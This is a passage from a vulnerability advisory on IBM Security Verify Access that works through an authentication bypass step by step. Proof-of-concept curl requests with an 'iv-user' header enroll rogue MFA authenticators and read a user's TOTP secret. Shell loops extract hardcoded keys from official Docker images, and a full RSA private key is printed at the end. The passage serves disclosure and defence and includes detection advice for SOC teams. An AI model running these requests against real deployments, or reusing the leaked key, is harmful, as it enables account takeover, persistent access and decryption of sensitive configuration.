[\n {\n \"device_name\": \"Iphone 13 Pro Max\",\n \"oauth_grant\": \"uuida71[REDACTED]\",\n \"auth_methods\": [],\n \"os_version\": \"13\",\n \"device_type\": \"[REDACTED]\",\n \"id\": \"uuid20[REDACTED]\",\n \"enabled\": true\n },\n {\n \"device_name\": \"Iphone 13 Pro Max\",\n \"oauth_grant\": \"uuida71[REDACTED]\",\n \"auth_methods\": [],\n \"os_version\": \"13\",\n \"device_type\": \"[REDACTED]\",\n \"id\": \"uuid20[REDACTED]\",\n \"enabled\": true\n },\n [...]\n kali% \n\nIt is possible to enroll any new authenticator for the user target without authentication by reaching the IBM Security Verify Runtime instance and specifying `iv-user: target-user` in the HTTP header:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nA PoC is provided below. The provided secret code allows enrolling a new authenticator for the target user `target-user`. Note that the `client_id` variable must be edited as we use the specific TestAuthenticatorClient client identifier. \nThe valid `client_id` variable can be retrieved from the `/sps/mga/user/mgmt/grant` API:\n\n kali% curl -kv -H \"iv-user: target-user\" https://test-runtime/sps/mga/user/mgmt/grant | jq . \n {\n \"grants\": [\n {\n \"id\": \"uuida71[REDACTED]\",\n \"isEnabled\": true,\n \"clientId\": \"TestAuthenticatorClient\",\n [...]\n\nI suggest using the specific `client_id` identifier configured in the targeted instance. The correct `client_id` identifier can also be obtained by visiting `https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html`. The `device_selection.html` webpage is just a front-end to get access to several APIs:\n\n- - /sps/mga/user/mgmt/grant\n- - /sps/mmfa/user/mgmt/authenticators\n- - /sps/fido2/registrations\n- - /sps/mga/user/mgmt/device \n- - /sps/apiauthsvc/policy/u2f_register\n- - /sps/mga/user/mgmt/clients\n- - ... \n\nFor example, visiting a remote IBM Security Verify Runtime instance at`https://url/sps/mga/user/mgmt/html/device/device_selection.html` without an `iv-user: target-user` HTTP header will return empty information (since the resulting requests sent to APIs are not \"authenticated\"):\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nVisiting the same address `https://url/sps/mga/user/mgmt/html/device/device_selection.html` using Burp Suite Pro, and (i) adding a HTTP Header `iv-user: target-user` in all the resulting HTTP requests and (ii) rewriting the URL from `^\\/mga\\/sps\\/` to `\\/sps\\/` (since the `/mga/` path is hardcoded in JavaScript code) will now provide a full access for the `target-user` (adding an authenticator, deleting an authenticator, adding passkeys, ...). \n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nAn attacker can also add an new authenticator for any user using curl:\n\nPoC:\n\n kali% curl -kv \"https://test-runtime/sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient\u0026response_type=code\u0026scope=mmfaAuthn\" -H \"iv-user: target-user\" \n * Host test-runtime:443 was resolved. \n * IPv6: (none)\n * IPv4: 10.0.0.15\n * Trying 10.0.0.15:443... \n * Connected to test-runtime (10.0.0.15) port 443\n * using HTTP/1.x\n \u003e GET /sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient\u0026response_type=code\u0026scope=mmfaAuthn HTTP/1.1\n \u003e Host: test-runtime\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003e iv-user: target-user\n \u003e \n \u003c HTTP/1.1 302 Found\n \u003c X-Frame-Options: SAMEORIGIN\n \u003c Pragma: no-cache\n \u003c Location: https://enroll-url/mga/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient\u0026code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y\n \u003c Content-Language: en-US\n \u003c Transfer-Encoding: chunked\n \u003c Date: Sat, 07 Sep 2024 12:07:21 GMT\n \u003c Expires: Thu, 01 Dec 1994 16:00:00 GMT\n \u003c Cache-Control: no-store, no-cache=set-cookie\n \u003c \n * Connection #0 to host test-runtime left intact\n \nThe resulting secret `code` provided in the HTTP answer can be used to enroll an official IBM Security Verify application (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp\u0026hl=en) corresponding to the `target-user`. \n\nIn order to import this secret token inside an IBM Verify Security application (an authenticator), we can:\n\n- - reach the `https://test-runtime/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient\u0026code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y` webpage (without `/mga` at the beginning of the URL) and scan the generated QR code; Burp Suite Pro is required to replace all the API calls from `/mga/sps/` to `/sps/`; or\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n- - reach the `/sps/mmfa/user/mgmt/qr_code/json` API to get the json encoded data inside the QR code (using `?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y\u0026client_id=TestAuthenticatorClient`) and generate the QR code (note that in the next HTTP answer, the `ignoreSslCerts=true` is not the default option); or\n\n\u003cpre\u003e\nGET /sps/mmfa/user/mgmt/qr_code/json?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y\u0026client_id=TestAuthenticatorClient HTTP/1.1\nHost: test-runtime\niv-user: target-user\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\n\nHTTP/1.1 200 OK\nContent-Type: application/json\nX-Frame-Options: SAMEORIGIN\nPragma: no-cache\nContent-Language: en-US\nConnection: Close\nDate: Sat, 07 Sep 2024 20:39:55 GMT\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\nCache-Control: no-store, no-cache=set-cookie\nContent-Length: 202\n\n{\"code\":\"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y\",\"options\":\"ignoreSslCerts=true\",\n\"details_url\":\"https:\\/\\/enroll-url\\/mga\\/sps\\/mmfa\\/user\\/mgmt\\/details\",\n\"version\":1,\"client_id\":\"TestAuthenticatorClient\"}\n\u003c/pre\u003e\n\n- - reach the `/mga/sps/mmfa/user/mgmt/qr_code/json` API (provided by any targeted WebSEAL servers from the same infrastructure, including Internet-faced WebSEAL servers) to get the json encoded data inside the QR code (using `?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y\u0026client_id=TestAuthenticatorClient`) and generate the QR code; or\n\n- - simply locally generate the QR code containing the JSON data as shown below using the `qrencode` program:\n\n\u003cpre\u003e\n kali% qrencode -o picture.png \u0027{\"code\":\"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y\",\"options\":\"ignoreSslCerts=false\",\"details_url\":\"https:\\/\\/enroll-url\\/mga\\/sps\\/mmfa\\/user\\/mgmt\\/details\",\"version\":1,\"client_id\":\"TestAuthenticatorClient\"}\u0027\n\u003c/pre\u003e\n\nThen the QR code needs to be scanned using the official IBM Verify Security App (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp\u0026hl=en) in order to enroll a new device. By default, the specific `https://enroll-url/mga/sps/mmfa/user/mgmt/details` is always reachable from the Internet in order to successfully enroll smartphones. \n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThe official IBM Security Verify application (https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp\u0026hl=en) has been used and successfully enrolled for the `target-user` and can now be used to authenticate as `target-user`:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThe device has been correctly enrolled from the Internet as shown below, by using the `/sps/mmfa/user/mgmt/authenticators` API without authentication. \n\n kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H \"iv-user: target-user\" | jq . \n [\n {\n \"device_name\": \"Samsung S22\",\n \"oauth_grant\": \"uuida72253ef[REDACTED]\",\n \"auth_methods\": [\n {\n \"key_handle\": \"32e[REDACTED].userPresence\",\n \"id\": \"uuidb694[REDACTED]\",\n \"type\": \"user_presence\",\n \"enabled\": true,\n \"algorithm\": \"SHA256withRSA\"\n }\n ],\n \"os_version\": \"13\",\n \"device_type\": \"[REMOVED]\",\n \"id\": \"uuidb4fde[REDACTED]\",\n \"enabled\": true\n },\n [...]\n\n\nFurthermore, all the APIs in `/sps/*` are directly reachable by specifying the HTTP header `iv-user: target-user`. \n\nWe can also list the secret key for the seed corresponding to OTP:\n\n kali% curl -ks https://test-runtime/sps/mga/user/mgmt/otp/totp -H \"iv-user: target-user\" | jq . \n { \n \"period\": \"30\",\n \"secretKeyUrl\": \"otpauth://totp/Example:target-user\"?secret=NSJ[REDACTED][REDACTED][REDACTED]\u0026issuer=Example\",\n \"secretKey\": \"NSJ[REDACTED][REDACTED][REDACTED]\",\n \"digits\": \"6\",\n \"username\": \"target-user\",\n \"algorithm\": \"HmacSHA1\"\n }\n\n\nAll the APIs located in `/sps/` are vulnerable to this authentication bypass. \n\nAs shown previously, it is possible to bypass the entire authentication and interact with the IBM Security Verify runtime docker instance as any user. \n\nAn attacker can enroll a device for any user, bypassing the entire access controls, and get control over the infrastructure. Since the back-end is fully reachable, an attacker can also delete any authenticator for any user. \n\nAt the time of the security assessment (October 2022), I was not able to find any official documentation that recommends not exposing the runtime instance to the network, since the runtime APIs are password protected. \n\nThe latest ISVA release (10.0.8) implements an optional authentication based on SSL certificates. It is **strongly recommended** to implement this authentication mechanism and not to expose the ISVA runtime instance to the network. \n\n**Without this optional authentication, any malicous actor (i) with access to WebSEAL servers (with a shell or a SSRF vulnerability) or (ii) with direct network access to the runtime instance, or (iii) with a shell access to any \u0027trusted\u0027 machine (e.g. a monitoring server querying the HTTPS server of ISVA runtime), or (iv) with a low-privilege shell on the docker server running the solution, can completely compromise the authentication infrastructure, without credentials**. \n\nRegarding the official recommendations, IBM recommends (i) not to expose the runtime instance to untrusted clients or (ii) to implement SSL-based certificate authentication and follow the following best practices. IBM provided these references as official responses regarding this issue:\n\n- - From https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1;\n- - And https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters;\n- - And https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications:\n\n\u003e Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication. \n\n- From my understanding, this vulnerability is not going to be patched (no security bulletin was published and no CVE has been assigned, ticket has been closed as solved) because, according to the official recommendations, it is the customer\u0027s responsability to filter any communication to the runtime instance. This present security advisory will allow offensive and defensive security teams to correctly understand and improve their security posture. \n\nAbout the detection of insecure instances, a HTTPS request to the `/sps/` route providing the banner `Server: IBM Security Verify Access` in the HTTPS answer will allow SOC team to detect an instance. The banner will not appear when reaching `https://test-runtime/`). If MFA is used, a HTTP request to `/sps/mga/user/mgmt/html/device/device_selection.html` (port `443` or `9443`, by default) will allow SOC team to detect an insecure ISVA runtime instance. An answer indicating `200 OK` with the content of the `device_selection.html` webpage will indicate that the tested instance is probably insecure:\n\n kali% curl -k https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html\n [...]\n \u003c HTTP/1.1 200 OK\n \u003c X-Frame-Options: SAMEORIGIN\n \u003c Server: IBM Security Verify Access\n \u003c Content-Type: text/html;charset=UTF-8\n [...]\n \u003c!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\"\u003e\n \u003chtml\u003e\n \n \u003chead\u003e\n \u003cmeta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"\u003e\n \u003ctitle\u003eDevice Selection\u003c/title\u003e\n \u003clink type=\"text/css\" rel=\"stylesheet\" href=\"/sps/static/design.css\"\u003e\u003c/link\u003e\n \u003clink type=\"text/css\" rel=\"stylesheet\" href=\"/sps/mga/user/mgmt/html/device/device_selection.css\"\u003e\u003c/link\u003e\n \u003cscript type=\"text/javascript\" src=\"/sps/mga/user/mgmt/html/mgmt_msg.js\"\u003e\u003c/script\u003e\n \u003cscript type=\"text/javascript\" src=\"/sps/static/u2fI18n.js\"\u003e\u003c/script\u003e\n \u003cscript type=\"text/javascript\" src=\"/sps/mga/user/mgmt/html/common.js\"\u003e\u003c/script\u003e\n \u003cscript type=\"text/javascript\" src=\"/sps/mga/user/mgmt/html/device/device_selection.js\"\u003e\u003c/script\u003e\n\nOn a side note, from my tests, the APIs are also exposed with authentication from the Internet by visiting `https://enroll-url/mga/sps/mga/user/mgmt/html/device/device_selection.html`. If `device_selection.html` is blocked, it is simply possible to inject the correct answer with Burp Suite Pro (using the `device_selection.html` webpage available in official IBM Docker images) and the previous `/mga/sps/` APIs are still reachable since they are needed to successfully enroll an authenticator from the Internet (e.g. the official IBM Verify Security App running on a smartphone). An attacker that enrolled a rogue authenticator to a compromised account can get persistence access from the Internet even if the runtime instance is not reachable anymore or if the \"regular\" ISVA servers are only reachable from inside the company: the APIs provided by the Internet-faced enrolling server will allow the attackers to enroll new authenticators and retrieve current seeds. \n\nFurthermore, with Internet-faced servers (by design, to enroll authenticators) and an authenticated session, the attack surface is quite big. \n\nIt is also possible to list the target version of a Internet-faced instance (proxifed through WebSEAL) by visiting the `/mga/sps/mmfa/user/mgmt/details` API (when MFA is enabled in ISVA):\n\n curl -s https://internet-faced-website/mga/sps/mmfa/user/mgmt/details | jq . \n {\n \"authntrxn_endpoint\": \"https://info.domain.tld/scim/Me?attributes=urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:transactionsPending,urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:attributesPending\",\n \"metadata\": {\n \"service_name\": \"Organisation\",\n \"qrlogin_endpoint\": \"https://info.domain.tld/mga/sps/authsvc?PolicyId=urn:ibm:security:authentication:asf:qrcode_response\"\n [...]\n \"enrollment_endpoint\": \"https://info.domain.tld/scim/Me\",\n [...]\n \"version\": \"10.0.8.0\",\n [...]\n }\n\n\n\n## Details - Reuse of snapshot private keys\n\nThe official Docker images have been retrieved and analyzed on a local machine:\n\n kali-docker# docker images\n REPOSITORY TAG IMAGE ID CREATED SIZE\n ibmcom/verify-access-runtime 10.0.4.0 498e181d7395 3 months ago 1.07GB\n ibmcom/verify-access-wrp 10.0.4.0 c0003aca743c 3 months ago 442MB\n ibmcom/verify-access 10.0.4.0 206efdd7809c 3 months ago 1.53GB\n ibmcom/verify-access-dsc 10.0.4.0 959f6f1095e9 3 months ago 305MB\n kali-docker# docker save 498e181d7395 \u003e ibmcom/verify-access-runtime.tar\n kali-docker# docker save c0003aca743c \u003e ibmcom/verify-access-wrp.tar\n kali-docker# docker save 206efdd7809c \u003e ibmcom/verify-access.tar\n kali-docker# docker save 959f6f1095e9 \u003e ibmcom/verify-access-dsc.tar\n\nIt was observed that instances contain custom encryption/decryption keys (`device_key.kdb` and `device_key.sth` files) located inside `/var/.ca/`. \n\nThese keys are used by the `isva_decrypt` utility present in all the images. For example, the `/usr/sbin/bootstrap.sh` script will decrypt the stored openldap.zip file using `isva_decrypt`:\n\nContent of `/usr/sbin/bootstrap.sh`:\n\n [...]\n # Decrypt and extract the LDAP configuration. \n isva_decrypt $snapshot_tmp_dir/openldap.zip\n\n unzip -q -o $snapshot_tmp_dir/openldap.zip -d /\n [...]\n\nWhen doing an analysis on the official IBM images obtained on Docker Hub, we can confirm the keys (`device_key.kdb` and `device_key.sth`) are in fact hardcoded inside these official IBM images and some of them are also world-readable by default:\n\n kali-docker# ls -la */*/var/.ca/* \n -rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb\n -rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth\n -rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb\n -rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth\n -rw------- 1 root root 5991 Jun 8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb\n -rw------- 1 root root 193 Jun 8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth\n -rw-r--r-- 1 root root 5991 Jun 8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb\n -rw-r--r-- 1 root root 193 Jun 8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth\n \n kali-docker# sha256sum */*/var/.ca/*|sort|uniq\n dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth\n dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth\n dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth\n dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth\n f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb\n f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb\n f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb\n f06cd909fd9b4222b4ac228ae71702428505d162255d83cc51e93be5edd8d935 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb\n\nUsing these keys and the `IBM Crypto for C` programs, we can successfully decrypt the `openldap.zip` file - an encrypted zip file - available inside the `default.snapshot` file - this file contains the entire configuration of ISVA and is stored inside Docker instances or retrieved over the network. The `openldap.zip` file contains all the configuration options of the instance and is consequently extremely sensitive (to decrypt it using `isva_decrypt`, it is required to create a `/var/.ca` directory containing `device_key.kdb` and `device_key.sth` in a test machine):\n\n kali-decryption% LD_LIBRARY_PATH=/home/user/gsk8_64/lib64 strace ./isva_decrypt openldap.zip\n [...]\n writev(5, [{iov_base=\"\", iov_len=0}, {iov_base=\"2s\\0\\0etc/openldap/schema/nis.ldif\"..., iov_len=1024}], 2) = 1024\n writev(5, [{iov_base=\"\", iov_len=0}, {iov_base=\"\\321\\0\\0etc/openldap/schema/collectiv\"..., iov_len=1024}], 2) = 1024\n writev(5, [{iov_base=\"\", iov_len=0}, {iov_base=\"\\0etc/openldap/slapd-replica.conf\"..., iov_len=1024}], 2) = 1024\n writev(5, [{iov_base=\"\", iov_len=0}, {iov_base=\"data/secAuthority-default/__db.0\"..., iov_len=1024}], 2) = 1024\n read(4, \"\\271=b\\223\\205\\320\\277\\365\\207\\302#T\\255\\355\\374Ct\\222\\332M`3%\\341\\361I\\301\\233j\\34\\1\\355\"..., 8191) = 1124\n writev(5, [{iov_base=\"\", iov_len=0}, {iov_base=\"PK\\1\\2\\36\\3\\24\\0\\0\\0\\10\\0\\4Z-UQ\\202\\212\u003cV\\2\\0\\0\\0 \\0\\0000\\0\\30\\0\"..., iov_len=1024}], 2) = 1024\n writev(5, [{iov_base=\"\", iov_len=0}, {iov_base=\"+\\0\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\201\\256\\213\\7\\0var/openldap/d\"..., iov_len=1024}], 2) = 1024\n read(4, \"\", 8191) = 0\n close(4) = 0\n write(5, \"\\5\\0\\3\\250\\302\\36cux\\v\\0\\1\\4\\0\\0\\0\\0\\4\\0\\0\\0\\0PK\\5\\6\\0\\0\\0\\0[\\0\"..., 44) = 44\n close(5) = 0\n unlink(\"openldap.zip\") = 0\n rename(\"/tmp/tmp.pxiQjh\", \"openldap.zip\") = 0\n unlink(\"/tmp/tmp.pxiQjh\") = -1 ENOENT (No such file or directory)\n close(3) = 0\n exit_group(0) = ?\n +++ exited with 0 +++\n kali-decryption% file openldap.zip \n openldap.zip: Zip archive data, at least v1.0 to extract, compression method=store\n\nWhile doing an analysis of the zip file, we can find:\n\n- - credentials;\n- - passwords (e.g. in `etc/openldap/dynamic/replica-1.conf` and `etc/openldap/dynamic/passwd.conf`)\n- - RSA keys + certificates (e.g. in `etc/openldap/dynamic/server.key`)\n- - users in the logs. \n\nThe unique kdb files (encrypted archives containing public and private keys) found in the IBM Docker images have also been decrypted (using the corresponding stash files) and analyzed:\n\n kali-docker# j=0; for file in ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb; do echo $file; LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw password ; openssl pkcs12 -in /tmp/tmp.p12 -out /tmp/export_${j}.pem -nodes -passin pass:password;j=$(($j+1));rm /tmp/tmp.p12;done\n ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/lum/iss-external.kdb\n ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/iss-external.kdb\n ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/opt/ibm/ldap/V6.4/etc/ldapkey.kdb\n ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/trial/trial_ca.kdb\n ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/isva.signing/isva_signing_public.kdb\n ./_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb\n\nThis allows an attacker to extract several private keys:\n\n Bag Attributes\n friendlyName: ca\n localKeyID: 03 82 01 01 00 6F 9B 85 F2 CA 2A DC A3 2E BA F7 D9 36 40 D4 D4 4D 31 A4 AC 23 2E 6E F0 9F 04 90 D7 F5 EC D1 31 7C 39 DB 80 20 7D A2 6C F5 30 F1 B6 C0 8C 1D 9F 32 87 A0 84 FE 22 AC 8F 0E D8 36 03 6D 69 29 E2 57 0C B3 9B 05 C4 E0 1E 81 51 EB 33 49 C3 D3 E1 F2 4E C0 CA 0C 5A A8 F9 5D 54 1F CF BE C0 9A 70 C4 6F 94 65 70 14 9F 1B 74 29 6E EB 00 1F 55 9B FE A1 00 CC FB DC CD 20 35 64 DF D6 A5 A7 F4 FB 76 DB D5 AA 6D 67 08 B1 F8 0B 71 37 AF A2 90 C3 AA 57 38 5B 48 E7 AE 35 6C 0C 8A E3 99 7D 90 94 B0 F8 1E 13 17 F9 A9 2F 5F 87 35 8B F5 6D AC 64 89 28 B0 96 0B 6C FB B4 8E D9 F0 26 AD 61 35 F4 CB A4 59 F8 F6 A0 72 EB 82 CD CF 2D 85 63 CF C3 27 64 9F 52 07 05 D7 19 81 5A 57 4A 92 F5 3F 30 2D 87 BD FB 96 92 2B A0 93 E6 B8 E8 E5 90 27 70 A8 78 6F 1C 98 11 6E F9 70 60 0F 2C D8 4C 44 BF \n Key Attributes: \u003cNo Attributes\u003e\n -----BEGIN PRIVATE KEY-----\n MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5d1UkBCpTmK74\n 01RqSKl42SInA0B8zgbLgZG+HPoniIgwzbu4lRJSFGaGjnuJH1ccWPvxuDtv5R26\n X4EhnL9RewJiHDTq1RRnP/XqQja3uHwsKC4yUlyvhBcX+FcoTKzq4y724ZZs2GIM\n +Q4d4OsXAomQz3TeEWT9tyr7gCgDJ8W3WvpEUE6mpvm0OPujFivAM9Ws6bY7zcZr\n qjU4Nct//gq9qlZuKMWan68vE+yMqJAkCCLh6YG8EA+TU/TQP4cCeCIiUBBC6A1R\n CMbCA9t7AgWTlJPxuPTdgTETLRXDlMJWhWxuTGWtkXrrSXaWIwBTk4XVfeK2xkYs\n RPNFmBZ1AgMBAAECggEAIt1sA/lEe7KYMe6IT/KY6T7oTK0v0kZowJj67OJFpGjm\n MUZ7o5diekubenAOiRh7J7kSo74ebkqD7CVIASmWTZryN79Vs0+bJk2/zOnln2Pu\n 894Z0RvqkJQkQz1MJSdE2mMa0Q5XWN7Uj9vB65v8lbbEZZSaQ6TBd3CXg+/zlaPy\n MvRgK5XvrzCKWD9PtWpIb4nRssJhVDAgfPQf5tlQ05QhKagakxENVB6wmcvOiU2l\n zYZDTUGFVfgd1OxH7JICaTfBlhncd2OYaHxr+sXrPGuI+Ckz/U5q6UU+/b5EYEPr\n 7BSlmptg6CCFLlJ/Mz3qzcm2Wd9/KWEEbwr7fRLcAQKBgQDIoEC54Fsdj07SHwaM\n iWC72WysdBedH5DUM39cRiorYz/E5rFIKWz8c4Fz4sx0IkTqM2JvS1frtvPgMTTV\n PvowBcLrLIIBj3ZktheAijCtB7g0FR8EBJpJvY3nPYYA08akeJ2wIrV/AdXiMGR+\n dJXnJRmoVI6tdk/Y9xRfUuahqQKBgQDsp+v5PkMWYyRsja6cjN4K9bExRbPCMyXo\n o3VisQXQYnVdKJE86g+PMiwY4KJksZ3ZPYduB4Hn+9qcKWRXkg/VbInE9+TxwBOT\n E4cf1bUibtNZEF4JeV7/FE+K76RgxROufXpRlrTqlmzblIBIeA14sGCC/3unb6tV\n mfCGe18l7QKBgQCs0g6vj2otrnMRYZR8nyJq7sJEU8S7nqNdh/bf/7j3owkdjjOM\n m9K8LKuIrge8yoBe1mCmylo0PGcb6oc+Yn+VuoDLoI1k1rX/zzOzkFaZ1pqAkuki\n xuw5NUX1ufOi5sqohxYe0edSPryFmXYX0EoI0NanQB+foNjrZvtvmbP98QKBgAHG\n 0PKyEPbeD6vw9FqghBo49feUumC+2Y4BjCQNiCmkU5U7dLusVimRCtu09AMlgjXb\n TGT7EXKYZW++r84ofo3vnqkn40QdWQhFoUIP7KgxhMyqXspbaucnU+GLIwTG9frd\n Xkm2g+0u6+pKFxx0KkW5rT/OgzMil3qxCSk5S+GRAoGAVzyS/rD6YInD7/vWUqwm\n ttgKBm1d/uL2fMzx0KCnuKd5gJwfLIx9wDR4862VyWxOof8quqAWAthSGgg99Bjj\n dujkG+fMEu+pYaxTmte0HSC4I+QTkQrOup4wtwVFz2t+0yPlmneQXmJ+K5Wu9ClR\n uxhPVbNJYbPOs02by37UXn8=\n -----END PRIVATE KEY-----\n Bag Attributes\n friendlyName: encKey\n localKeyID: 03 82 01 01 00 BB 0F 22 30 06 39 08 3E 65 E7 67 A2 F7 A0 1A 96 6F A6 75 57 3E AF B0 64 7D 83 07 47 6C A3 CE 91 7D 11 94 B5 E9 F7 79 74 F0 22 AB 50 C7 49 66 5E 64 0C 63 07 B7 43 F2 35 52 E4 2C CC C0 1F B4 ED 2F 18 CB D3 A0 